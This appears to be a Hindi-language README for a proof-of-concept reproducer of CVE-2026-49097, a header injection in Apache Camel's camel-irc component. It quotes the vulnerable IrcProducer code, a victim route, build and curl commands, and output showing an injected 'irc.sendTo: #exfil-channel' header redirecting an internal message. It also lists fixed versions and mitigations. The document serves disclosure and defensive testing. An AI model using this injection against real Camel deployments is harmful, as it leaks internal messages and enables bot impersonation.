
CVE-2026-49097 (Apache Camel camel-irc) के लिए PoC पुनरुत्पादक: बिना Camel उपसर्ग वाला irc.sendTo हेडर HTTP हेडर फ़िल्टर से बच निकलता है और प्रोड्यूसर के कॉन्फ़िगर किए गए चैनल को ओवरराइड कर देता है, जिससे IRC संदेश हमलावर द्वारा चुने गए गंतव्य पर पुनर्निर्देशित हो जाता है। 4.14.8/4.18.3/4.21.0 में ठीक किया गया।
यह प्रोजेक्ट Apache Camel के camel-irc घटक में एक मैसेज-हेडर इंजेक्शन प्रदर्शित करता है, जिसे CVE-2026-49097 के रूप में ट्रैक किया जाता है। IrcProducer बाहर जाने वाले IRC संदेश का गंतव्य चुनने के लिए irc.sendTo हेडर पढ़ता है; उपस्थित होने पर यह एंडपॉइंट की कॉन्फ़िगर की गई चैनल सूची को ओवरराइड करता है:
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
हेडर स्थिरांक IRC_SEND_TO का सादा मान है। चूँकि यह / उपसर्ग से शुरू नहीं होता, — जो HTTP सीमा पर केवल Camel हेडर नेमस्पेस को ब्लॉक करता है — इसे इनबाउंड HTTP अनुरोध से सीधे Exchange में जाने देता है।
irc.sendToCamelcamelHttpHeaderFilterStrategyऐसे रूट में जो HTTP कंज़्यूमर (उदाहरण के लिए platform-http) को irc: प्रोड्यूसर से जोड़ता है, कोई भी HTTP क्लाइंट इस प्रकार irc.sendTo प्रदान कर सकता है और संदेश को किसी मनमाने IRC चैनल या निक पर पुनर्निर्देशित कर सकता है, जिससे आंतरिक चैनल के लिए प्रेषित सामग्री किसी हमलावर-निगरानी वाले गंतव्य तक बाहर निकल जाती है, या किसी अन्य चैनल में बॉट की पहचान धारण कर ली जाती है। उसी फिक्स में नौ अन्य irc.* स्थिरांकों का नाम बदला गया; irc.sendTo सीधे शोषण योग्य है।
यह PoC प्रभाव को संदेश पुनर्निर्देशन / सूचना प्रकटीकरण (CWE-20 → CWE-74) के रूप में प्रदर्शित करता है।
| गुण | मान |
|---|---|
| घटक | camel-irc |
| प्रभावित क्लास | org.apache.camel.component.irc.IrcProducer जो IrcConstants.IRC_SEND_TO ("irc.sendTo") पढ़ता है |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) / CWE-74 (इंजेक्शन) |
| प्रभाव | बाहर जाने वाले IRC संदेश को हमलावर द्वारा चुने गए चैनल/निक पर पुनर्निर्देशित करें (एक्सफिल्ट्रेशन, प्रतिरूपण) |
| पूर्वापेक्षाएँ | एक रूट HTTP कंज़्यूमर को irc: प्रोड्यूसर से जोड़ता है; कंज़्यूमर अनऑथेंटिकेटेड होने पर |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| ठीक किए गए संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| श्रेय | Yu Bao (PayPal) |
फिक्स दस
irc.*हेडर स्थिरांकों का नाम बदलकरCamelIrc*परिपाटी (उदाहरण के लिएirc.sendTo→CamelIrcSendTo) करता है, ताकि वे HTTP सीमा पर अन्य सभी Camel कंट्रोल हेडर की तरह फ़िल्टर हो सकें। यह CVE-2025-27636, CVE-2026-46454 और CVE-2026-48206 के समान परिवार है। ध्यान दें:camel-irc4.21.0 से deprecated है।
यह भेद्यता पूरी तरह से IrcProducer की गंतव्य चयन प्रक्रिया में है; IRC सॉकेट केवल परिवहन है। यह रिप्रोड्यूसर असली IrcProducer और असली irclib IRCConnection क्लास चलाता है, जिसे इस प्रकार सबक्लास किया गया है कि इसकी send(...) (जिससे हर do* कमांड — doPrivmsg सहित — गुज़रता है) सॉकेट पर लिखने के बजाय PRIVMSG लक्ष्य को रिकॉर्ड करती है। एक छोटा कस्टम irc कंपोनेंट उस रिकॉर्डिंग कनेक्शन को प्रदान करता है। किसी भी IRC नेटवर्क से संपर्क नहीं किया जाता।
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
एक "notify" एंडपॉइंट जो एक निश्चित आंतरिक चैनल #alerts पर फ़ॉरवर्ड करता है। HTTP API में कोई गंतव्य पैरामीटर नहीं है — लेखक मानता है कि क्लाइंट चैनल नहीं चुन सकता। हमलावर irc.sendTo सेट करता है और बॉट हमलावर की पसंद के चैनल पर पोस्ट करता है।
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629) में अपग्रेड करें। अपग्रेड करने के बाद, जो रूट हेडर के माध्यम से IRC गंतव्य निर्धारित करते हैं, उन्हें CamelIrcSendTo नाम का उपयोग करना होगा। ध्यान दें कि camel-irc 4.21.0 से deprecated है।
अपग्रेड होने तक, irc: प्रोड्यूसर से पहले किसी भी अविश्वसनीय इनग्रेस से camel-irc कंट्रोल हेडर हटाएँ (उदाहरण के लिए removeHeaders("irc.*")), और गंतव्य को किसी विश्वसनीय स्रोत से सेट करें।
यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, जो एक सार्वजनिक रूप से प्रकट और ठीक की गई भेद्यता के लिए है। स्पष्ट अनुमति के बिना इसे सिस्टम के विरुद्ध उपयोग न करें।